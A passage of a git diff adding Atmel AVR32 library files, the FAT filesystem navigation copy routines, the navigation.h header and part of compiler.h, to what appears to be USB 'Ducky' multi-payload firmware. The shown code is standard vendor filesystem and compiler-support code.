and way the copy +//! @endverbatim +//! +Bool nav_file_paste_start( const FS_STRING sz_name ) +{ + uint8_t nav_id_save; + Bool status; + + if( ID_STREAM_ERR != g_id_trans_memtomem ) + { + + fs_g_status = FS_ERR_COPY_RUNNING; // A copy action is always running + return false; + } + + // Create the file to paste + if( !nav_file_create( sz_name ) ) + return false; + // Open the file in write mode with size 0 + if( !file_open( FOPEN_MODE_W_PLUS )) + return false; + + // Open the file to copy + nav_id_save = nav_get(); + nav_select( FS_NAV_ID_COPYFILE ); + status = file_open(FOPEN_MODE_R); + nav_select( nav_id_save ); + + // If error then close "paste file" + if( !status ) + { + file_close(); + return false; + }else{ + // Signal start copy + g_id_trans_memtomem = ID_STREAM_ERR-1; + g_segment_src.u16_size = 0; + return true; + } +} + + +//! This function executes the copy file +//! +//! @param b_stop set true to stop copy action +//! +//! @return copy status
+//! COPY_BUSY, copy running +//! COPY_FAIL, copy fail +//! COPY_FINISH, copy finish +//! +uint8_t nav_file_paste_state( Bool b_stop ) +{ + Ctrl_status status_stream; + uint8_t status_copy; + uint8_t nav_id_save; + _MEM_TYPE_SLOW_ uint16_t u16_nb_sector_trans; + + nav_id_save = nav_get(); + + // Check, if the copy is running + if( ID_STREAM_ERR == g_id_trans_memtomem ) + return COPY_FAIL; + + if( b_stop ) + { + status_copy = COPY_FAIL; + } + else + { + if( (ID_STREAM_ERR-1) != g_id_trans_memtomem ) + { + // It isn't the beginning of copy action, then check current stream + status_stream = stream_state( g_id_trans_memtomem ); + switch( status_stream ) + { + case CTRL_BUSY: + status_copy = COPY_BUSY; + break; + case CTRL_GOOD: + status_copy = COPY_FINISH; + break; + case CTRL_FAIL: + default: + status_copy = COPY_FAIL; + break; + } + }else{ + status_copy = COPY_FINISH; + } + + // Compute the new segment to copy + if( COPY_FINISH == status_copy ) + { + stream_stop( g_id_trans_memtomem ); + + if( 0 != g_segment_src.u16_size ) + { + status_copy = COPY_BUSY; // start the next continue stream + } + else + { + // check eof source file + nav_select( FS_NAV_ID_COPYFILE ); + if( 0 == file_eof() ) + { + status_copy = COPY_BUSY; + g_segment_src.u16_size = 0xFFFF; // Get the maximum segment supported by navigation (uint16_t) + if( !file_read( &g_segment_src )) + { + status_copy = COPY_FAIL; + } + } + nav_select( nav_id_save ); + + // Check destination file + if( COPY_BUSY == status_copy ) + { + g_segment_dest.u16_size = g_segment_src.u16_size; // Ask the segment no more larger than source segment + if( !file_write( &g_segment_dest )) + { + status_copy = COPY_FAIL; + } + } + + // Start new segment copy + if( COPY_BUSY == status_copy ) + { + // Compute a minimal segment + if( g_segment_src.u16_size > g_segment_dest.u16_size ) + { + // Reposition source file + nav_select( FS_NAV_ID_COPYFILE ); + if( !file_seek( (uint32_t)(g_segment_src.u16_size - g_segment_dest.u16_size)*FS_512B , FS_SEEK_CUR_RE )) + { + status_copy = COPY_FAIL; + } + nav_select( nav_id_save ); + g_segment_src.u16_size = g_segment_dest.u16_size; // Update source to start a correct transfer + } + } + } + if( COPY_BUSY == status_copy ) + { + // Split transfer by step of SIZE_OF_SPLIT_COPY + if( g_segment_src.u16_size < SIZE_OF_SPLIT_COPY ) + u16_nb_sector_trans = g_segment_src.u16_size; + else + u16_nb_sector_trans = SIZE_OF_SPLIT_COPY; + + g_id_trans_memtomem = stream_mem_to_mem( g_segment_src.u8_lun , g_segment_src.u32_addr , g_segment_dest.u8_lun , g_segment_dest.u32_addr , u16_nb_sector_trans ); + if( ID_STREAM_ERR == g_id_trans_memtomem ) + status_copy = COPY_FAIL; + g_segment_src.u32_addr +=u16_nb_sector_trans; + g_segment_dest.u32_addr+=u16_nb_sector_trans; + g_segment_src.u16_size -=u16_nb_sector_trans; + } + } + } + + // Check end of copy + if( COPY_BUSY != status_copy ) + { + uint32_t u32_size_exact; + + // Stop copy + stream_stop( g_id_trans_memtomem ); + g_id_trans_memtomem = ID_STREAM_ERR; + + // Get exact size and close the source file + nav_select( FS_NAV_ID_COPYFILE ); + u32_size_exact = nav_file_lgt(); + file_close(); + nav_select( nav_id_save ); + + // If no error then set the exact size on the destination file + if( COPY_FINISH == status_copy ) + { + if( !file_seek( u32_size_exact , FS_SEEK_SET )) + { + status_copy = COPY_FAIL; + }else{ + if( !file_set_eof() ) + { + status_copy = COPY_FAIL; + } + } + } + file_close(); + // If error then delete the destination file + if( COPY_FAIL == status_copy ) + { + nav_file_del( true ); + } + } + return status_copy; +} +#endif // FS_LEVEL_FEATURES diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/navigation.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/navigation.h new file mode 100644 index 0000000..8fb7045 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/navigation.h @@ -0,0 +1,766 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file defines a useful set of functions for file navigation. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#ifndef _NAVIGATION_H_ +#define _NAVIGATION_H_ + +#include "fs_com.h" +#include "fat.h" + +//! \name nav_filelist_set() options parameter +//! @{ +#define FS_FIND_NEXT true //!< move in list to next file +#define FS_FIND_PREV false //!< move in list to previous file +//! @} + + +//********************************************************************** +//************************ String format select ************************ + +//! This function selects the UNICODE mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! If you have enabled the FS_ASCII AND FS_UNICODE define +//! then FS_STRING parameter can be a ASCII or UNICODE string. +//! @endverbatim +//! +void nav_string_unicode( void ); + +//! This function selects the ASCII mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! If you have enabled the FS_ASCII AND FS_UNICODE define +//! then FS_STRING parameter can be a ASCII or UNICODE string. +//! @endverbatim +//! +void nav_string_ascii( void ); + +//! This function selects the LENGTH string mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! In LENGTH string mode when you call a routine with FS_STRING parameter +//! only the size (16bits, unit ASCII or UNICODE) is returned in the first 16bits of string array. +//! @endverbatim +//! +void nav_string_length_enable( void ); + +//! This function deselects the LENGTH string mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! In LENGTH string mode when you call a routine with FS_STRING parameter +//! only the size (16bits, unit ASCII or UNICODE) is returned in the first 16bits of string array. +//! @endverbatim +//! +void nav_string_length_disable( void ); + +//********************************************************************** +//********************** To optimize speed access ********************** + +//! This function disables the disk check before each actions on disk +//! +//! @verbatim +//! By default, between each read/write access a check disk (test unit ready) is sended at device. +//! This check can reduce the speed access on specific disk. +//! @endverbatim +//! +void nav_checkdisk_disable( void ); + +//! This function enables the disk check before each actions on disk +//! +//! @verbatim +//! By default, between each read/write access a check disk (test unit ready) is sended at device. +//! This check can reduce the speed access on specific disk. +//! @endverbatim +//! +void nav_checkdisk_enable( void ); + + +//********************************************************************** +//************** Initialise or Stop navigation module ****************** + + +//! This function resets ALL navigations to init file system core +//! +//! @verbatim +//! Call this at the program startup or before a new session (e.g. USB Device exit) +//! @endverbatim +//! +void nav_reset( void ); + +//! This function flush ALL navigations before exit of file system core +//! +//! @verbatim +//! Call this at the program exit or before a USB Device session +//! @endverbatim +//! +void nav_exit( void ); + +//! This function selects the navigation to use +//! +//! @param u8_idnav navigator identifier to select (0 to FS_NB_NAVIGATOR-1) +//! +//! @return false if ID navigator don't exist +//! @return true otherwise +//! +Bool nav_select( uint8_t u8_idnav ); + +//! This function returns the navigation identifier used +//! +//! @return u8_idnav navigator identifier selected +//! +uint8_t nav_get( void ); + +//! This function copys the navigator information to another navigator +//! +//! @param u8_idnav navigator identifier where the main navigator will be copied +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Use this routine to select quickly the same file in another navigator +//! @endverbatim +//! +Bool nav_copy( uint8_t u8_idnav ); + + +//********************************************************************** +//********************* Drive navigation functions ********************* + + +//! This function returns the number of devices availabled +//! +//! @return number of devices, 0 = NO DEVICE AVAILABLED +//! +//! @verbatim +//! This value may be dynamic because it depends of memory drivers (e.g. Mass Storage disk on USB host mode) +//! @endverbatim +//! +uint8_t nav_drive_nb( void ); + +//! This function selects a drive in navigator but don't mount the disk partition +//! +//! @param u8_number device number (0 to nav_drive_nb()-1 ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_drive_set( uint8_t u8_number ); + +//! This function returns the selected drive number +//! +//! @return 0 to nav_drive_nb()-1 +//! @return 0xFF in case of no drive selected +//! +uint8_t nav_drive_get( void ); + +//! This function returns the selected drive letter +//! +//! @return 'A','B',... +//! @return 'X', in case of no drive selected +//! +uint8_t nav_drive_getname( void ); + +//! This function formats the current drive (=disk) +//! +//! @param u8_fat_type Select the format type
+//! FS_FORMAT_DEFAULT, The system chooses the better FAT format
+//! FS_FORMAT_FAT, The FAT12 or FAT16 is used to format the drive, if possible (disk space <2GB)
+//! FS_FORMAT_FAT32, The FAT32 is used to format the drive, if possible (disk space >32MB)
+//! FS_FORMAT_NOMBR_FLAG, if you don't want a MRB on the disk then add this flag (e.g. specific partition structure on a CD support) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! WARNING: This routine can't format a multi-partiton, if the disk contains a multi-partition +//! then this one is erased and replaced by a single partition on ALL disk space. +//! @endverbatim +//! +Bool nav_drive_format( uint8_t u8_fat_type ); + + +//********************************************************************** +//******************* Partition navigation functions ******************* + + +//! This function returns the number of partitions present on drive +//! +//! @return u8_number number of partitions +//! +uint8_t nav_partition_nb( void ); + +//! This function selects a partition on drive +//! +//! @param partition_number partition number (0 to 3) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_set( uint8_t partition_number ); + +//! This function mounts the selected partition +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If the FS_MULTI_PARTITION option is disabled +//! then the mount routine selects the first partition supported by file system.
+//! After mount, the file list contains files and directories of ROOT directory +//! @endverbatim +//! +Bool nav_partition_mount( void ); + +//! This function gives the partition type +//! +//! @return partition type: FS_TYPE_FAT_12, FS_TYPE_FAT_16, FS_TYPE_FAT_32 +//! @return FS_TYPE_FAT_UNM, in case of error or unknow format +//! +uint8_t nav_partition_type( void ); + +//! This function reads or writes the serial number on the selected partition +//! +//! @param b_action to select the action
+//! FS_SN_READ to read serial number
+//! FS_SN_WRITE to write serial number
+//! @param a_u8_sn pointer on an array (4 bytes)
+//! if FS_SN_READ, then the array is used to store the serial number
+//! if FS_SN_WRITE, then the array is used to give the new serial number
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_serialnumber( Bool b_action , uint8_t _MEM_TYPE_SLOW_ *a_u8_sn ); + +//! This function reads or writes the label of selected partition +//! +//! @param b_action to select the action
+//! FS_LABEL_READ to read label
+//! FS_LABEL_WRITE to write label
+//! @param sz_label pointer on a ASCII string (11 chars + NULL terminator =12 bytes)
+//! if FS_LABEL_READ, then the string is used to store label
+//! if FS_LABEL_WRITE, then the string is used to give the new label
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_label( Bool b_action , FS_STRING sz_label ); + +//! This function returns partition total space +//! +//! @return number of sectors +//! @return 0, in case of error +//! +//! @verbatim +//! You shall mounted the partition before call this routine +//! @endverbatim +//! +uint32_t nav_partition_space( void ); + +//! This function returns the partition cluster size +//! +//! @return cluster size (unit sector) +//! +uint8_t nav_partition_cluster_size( void ); + +//! This function returns the partition free space +//! +//! @return number of free sectors +//! @return 0 in case of error or full partition +//! +//! @verbatim +//! You shall mounted the partition before call this routine +//! @endverbatim +//! +uint32_t nav_partition_freespace( void ); + +//! This function returns the partition space free in percent +//! +//! @return percent of free space (0% to 100%) +//! @return 0% in case of error or full partition +//! +//! @verbatim +//! To speed up the compute, the resultat have an error delta of 1% +//! @endverbatim +//! +uint8_t nav_partition_freespace_percent( void ); + + +//********************************************************************** +//****************** File list navigation functions ******************** + +//! To display in File List only the files OR directories +//! +//! @param b_type FS_DIR to display only directories presence
+//! FS_FILE to dispaly only files presence
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_single_enable( Bool b_type ); + +//! To display in File List the directories AND files +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_single_disable( void ); + +//! This function resets the selection pointer, so "no file selected" in file list +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_reset( void ); + +//! This function checks if a file is selected +//! +//! @return true if a file is selected +//! @return false if no file is selected +//! +Bool nav_filelist_validpos( void ); + +//! This function checks if no file is open +//! +//! @return true if no file is open +//! @return false if a file is open +//! +Bool nav_filelist_fileisnotopen( void ); + +//! This function moves the selection pointer in file list +//! +//! @param u16_nb numbers of file to jump before stopping action
+//! 0, stop at the first file found
+//! 1, stop at the second file found
+//! +//! @param b_direction search direction
+//! FS_FIND_NEXT, move to next file or directory +//! FS_FIND_PREV, move to previous file or directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Note: if no file is selected then nav_filelist_set( 0 , FS_NEXT ) goes to the first entry of the file list. +//! @endverbatim +//! +Bool nav_filelist_set( uint16_t u16_nb , Bool b_direction ); + +//! This function returns the position of selected file in file list +//! +//! @return position of selected file (0 is the first position) +//! @return FS_NO_SEL, in case of no file selected +//! +uint16_t nav_filelist_get( void ); + +//! This function goes at a position in file list +//! +//! @param u16_newpos new position to select (0 is the first position) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_goto( uint16_t u16_newpos ); + +//! This function searchs a file name in file list +//! +//! @param sz_name name to search (UNICODE or ASCII)
+//! It must be terminate by NULL or '*' value +//! @param b_match_case false to ignore the case +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This function starts a search at the next position of the current in file list +//! @endverbatim +//! +Bool nav_filelist_findname( const FS_STRING sz_name , Bool b_match_case ); + +//! This function checks the end of file list +//! +//! @return false, NO end of file list +//! @return true, in case of end of list or error +//! +Bool nav_filelist_eol( void ); + +//! This function checks the beginning of file list +//! +//! @return false, it is not the beginning of file list +//! @return true, in case of the file selected is the first file, or in case of error +//! +Bool nav_filelist_bol( void ); + +//! This function checks the presence of files or directories in file list +//! +//! @param b_type FS_DIR to check the directory presence
+//! FS_FILE to check the file presence
+//! +//! @return true, in case of a file or a directory exists +//! @return false, in case of no file or no directory exists, or error +//! +Bool nav_filelist_exist( Bool b_type ); + +//! This function computes the number of files or directories in file list +//! +//! @param b_type FS_DIR to compute the number of directories
+//! FS_FILE to compute the number of files
+//! +//! @return number of files or directories in file list +//! +uint16_t nav_filelist_nb( Bool b_type ); + +//! This function goes to at the first file or directory in file list +//! +//! @param b_type FS_DIR to go at the first directory
+//! FS_FILE to go at the first file
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_first( Bool b_type ); + +//! This function goes to at the last file or directory in file list +//! +//! @param b_type FS_DIR to go at the last directory
+//! FS_FILE to go at the last file
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_last( Bool b_type ); + +//********************************************************************** +//************************ Index functions ***************************** + + +//! This function returns a small index on the selected file +//! +//! @return It is a small index structure with information on selected file (disk, partition, dir, file/dir selected) +//! +//! @verbatim +//! This routine is interresting to save a file position in small variable. +//! This pointer allow to reinit a navigator quickly with nav_gotoindex() routine. +//! @endverbatim +//! +Fs_index nav_getindex( void ); + +//! This function selects a file in the navigator via a file index +//! +//! @param index structure with information about file to select (disk, partition, dir, file/dir selected ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine allow to reinit a navigator quickly via a file index (disk, partition, dir, file/dir selected ) +//! To get a file index, you shall used the routine nav_getindex(). +//! @endverbatim +//! +Bool nav_gotoindex( const Fs_index _MEM_TYPE_SLOW_ *index ); + +//********************************************************************** +//************************ Directory functions ************************* + + +//! This function initializes the file list on the root directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_root( void ); + +//! This function check the current directory +//! +//! @return false the current directory selected is not the root directory +//! @return true the current directory selected is the root directory +//! +Bool nav_dir_is_root( void ); + +//! This function enters in the selected directory in file list +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After this routine the file list changes and contains the files and directories of the new directory. +//! By default no file is selected. +//! @endverbatim +//! +Bool nav_dir_cd( void ); + +//! This function goes to the parent directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After, the file list changes and contains the files and directories of the new directory. +//! By default, the file selected in file list is the previous (children) directory. +//! @endverbatim +//! +Bool nav_dir_gotoparent( void ); + +//! This function returns the directory name corresponding at the file list +//! +//! @param sz_path string to store the name (ASCII or UNICODE ) +//! @param u8_size_max string size (unit ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_name( FS_STRING sz_path , uint8_t u8_size_max ); + +//! This function creates a directory in the directory corresponding at file list +//! +//! @param sz_name directory name (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_make( const FS_STRING sz_name ); + +//! This function returns the full path of the selection +//! +//! @param sz_path string to store the path (ASCII or UNICODE ) +//! @param u8_size_path string size (unit ASCII or UNICODE ) +//! @param b_view_file_select true, to include in path the selected file name +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_getcwd( FS_STRING sz_path , uint8_t u8_size_path , Bool b_view_file_select ); + +//! This function selects a disk position via a path +//! +//! @param sz_path path string (ASCII or UNICODE ) +//! @param b_match_case false to ignore the case +//! @param b_create true, if path no exists then create it
+//! false, no create path
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! The syntact "./../../file_name" is supported. +//! With syntact "./dir_parent/directory_name" the file list corresponding at "dir_parent" and "directory_name" is selected. +//! With syntact "./dir_parent/directory_name/" the file list corresponding at "directory_name" and no file is selected. +//! @endverbatim +//! +Bool nav_setcwd( FS_STRING sz_path , Bool b_match_case , Bool b_create ); + + +//********************************************************************** +//*********************** File control functions *********************** + + +//! This function returns the name of selected file +//! +//! @param sz_name string to store the name file (ASCII or UNICODE )
+//! @param u8_size_max string size (unit ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_getname( FS_STRING sz_name, uint8_t u8_size_max ); + +//! This function returns the name of selected file or checks the string with the name of selected file +//! +//! @param b_mode action mode:
+//! FS_NAME_GET to get the name of selected file
+//! FS_NAME_CHECK to check the name of selected file
+//! @param sz_name if FS_NAME_GET then string to store the file name (ASCII or UNICODE )
+//! if FS_NAME_CHECK then string to match with file name (ASCII or UNICODE), +//! it must be terminated by NULL or '*' value
+//! @param b_match_case false, ignore the case (only used in "FS_NAME_CHECK" action) +//! +//! @param u8_size_max string size (unit ASCII or UNICODE ), only used in "FS_NAME_GET" action +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_name( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode , Bool b_match_case ); + +//! This function returns the size of selected file (unit byte) +//! +//! @return Size of selected file (unit byte) +//! +uint32_t nav_file_lgt( void ); + +//! This function returns the size of selected file (unit sector) +//! +//! @return Size of selected file (unit 512B) +//! +uint16_t nav_file_lgtsector( void ); + +//! This function checks the write protection of disk and the attribut "read only" of selected file +//! +//! @return false, it is possible to modify the selected file +//! @return true, in other case +//! +Bool nav_file_isreadonly( void ); + +//! This function returns the type of selected file +//! +//! @return true, it is a directory +//! @return false, in other case +//! +Bool nav_file_isdir( void ); + +//! This function checks the extension of selected file +//! +//! @param sz_filterext extension filter (ASCII format, e.g.: "txt" or "txt,d*,wk" ) +//! +//! @return true, the file extension match with extension filter +//! @return false, in other case +//! +Bool nav_file_checkext( const FS_STRING sz_filterext ); + +//! This function returns the date of selected file +//! +//! @param type_date FS_DATE_LAST_WRITE, to get the date of last write access
+//! FS_DATE_CREATION, to get the date of file creation +//! @param sz_date ASCCI string (>17B) to store the information about date
+//! "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_dateget( FS_STRING sz_date , Bool type_date ); + +//! This function returns the attribut of selected file +//! +//! @return attribut of selected file, see masks "FS_ATTR_" in fs_com.h file. +//! +uint8_t nav_file_attributget( void ); + +//! This function changes the date of selected file +//! +//! @param type_date FS_DATE_LAST_WRITE, to get the date of last write access
+//! FS_DATE_CREATION, to get the date of file creation +//! @param sz_date ASCCI string contains the date to write
+//! "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_dateset( const FS_STRING sz_date , Bool type_date ); + +//! This function changes the attribut of selected file +//! +//! @param u8_attribut value to write on selected file, see masks "FS_ATTR_" in fs_com.h file. +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_attributset( uint8_t u8_attribut ); + +//! This function deletes the selected file or directory +//! +//! @param b_only_empty true, delete the directory only if empty
+//! false, delete directories and files include in selected directory
+//! If the selection is not a directory then this param is ignored. +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_del( Bool b_only_empty ); + +//! This function renames the selected directory or file +//! +//! @param sz_name new name (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_rename( const FS_STRING sz_name ); + +//! This function creates a file with NULL size and NULL attribut +//! +//! @param sz_name file name to create (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If you ues this routine to create a file, then you must called file_open() to open this new file +//! @endverbatim +//! +Bool nav_file_create( const FS_STRING sz_name ); + +//! This function updates the COPY navigator with the selected file +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If you use the COPY navigator after this routine then the copy information is lost (see FS_NAV_ID_COPYFILE in conf_explorer.h). +//! @endverbatim +//! +Bool nav_file_copy( void ); + +//! This function pastes the selected file in COPY navigator in the file list of the current navigator +//! +//! @param sz_name file name of the new file (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After this routine, you shall called nav_file_paste_state() to run and way the copy +//! @endverbatim +//! +Bool nav_file_paste_start( const FS_STRING sz_name ); + +//! This function executes the copy file +//! +//! @param b_stop set true to stop copy action +//! +//! @return copy status
+//! COPY_BUSY, copy running +//! COPY_FAIL, copy fail +//! COPY_FINISH, copy finish +//! +uint8_t nav_file_paste_state( Bool b_stop ); + +#endif // _NAVIGATION_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/compiler.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/compiler.h new file mode 100644 index 0000000..c3b0b97 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/compiler.h @@ -0,0 +1,1220 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Compiler file for AVR32. + * + * This file defines commonly used types and macros. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _COMPILER_AVR32_H_ +#define _COMPILER_AVR32_H_ + +#if (defined __ICCAVR32__) +# include +#endif +#include "preprocessor.h" + +#include "parts.h" + + +//_____ D E C L A R A T I O N S ____________________________________________ + +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. + +#include +#include +#include +#include + + +#if (defined __ICCAVR32__) + +/*! \name Compiler Keywords + * + * Port of some keywords from GNU GCC for AVR32 to IAR Embedded Workbench for Atmel AVR32. + */ +//! @{ +#define __asm__ asm +#define __inline__ inline +#define __volatile__ +//! @} + +#endif + +/** + * \def barrier + * \brief Memory barrier + */ +#if defined(__GNUC__) +# define barrier() asm volatile("" ::: "memory") +#elif defined(__ICCAVR32__) +# define barrier() __asm__ __volatile__ ("") +#endif + +/** + * \brief Emit the compiler pragma \a arg. + * + * \param arg The pragma directive as it would appear after \e \#pragma + * (i.e. not stringified). + */ +#define COMPILER_PRAGMA(arg) _Pragma(#arg) + +/** + * \def COMPILER_PACK_SET(alignment) + * \brief Set maximum alignment for subsequent struct and union + * definitions to \a alignment. + */ +#define COMPILER_PACK_SET(alignment) COMPILER_PRAGMA(pack(alignment)) + +/** + * \def COMPILER_PACK_RESET() + * \brief Set default alignment for subsequent struct and union + * definitions. + */ +#define COMPILER_PACK_RESET() COMPILER_PRAGMA(pack()) + + +/** + * \brief Set aligned boundary. + */ +#if (defined __GNUC__) +#define COMPILER_ALIGNED(a) __attribute__((__aligned__(a))) +#elif (defined __ICCAVR32__) +#define COMPILER_ALIGNED(a) COMPILER_PRAGMA(data_alignment = a) +#endif + +/** + * \brief Set word-aligned boundary. + */ +#if (defined __GNUC__) +#define COMPILER_WORD_ALIGNED __attribute__((__aligned__(4))) +#elif (defined __ICCAVR32__) +#define COMPILER_WORD_ALIGNED COMPILER_PRAGMA(data_alignment = 4) +#endif + +/** + * \name System Register Access + * @{ + */ +#if defined(__GNUC__) || defined(__DOXYGEN__) +/** + * \brief Get value of system register + * + * \param reg Address of the system register of which to get the value. + * + * \return Value of system register \a reg. + */ +# define sysreg_read(reg) __builtin_mfsr(reg) + +/** + * \brief Set value of system register + * + * \param reg Address of the system register of which to set the value. + * \param val Value to set the system register \a reg 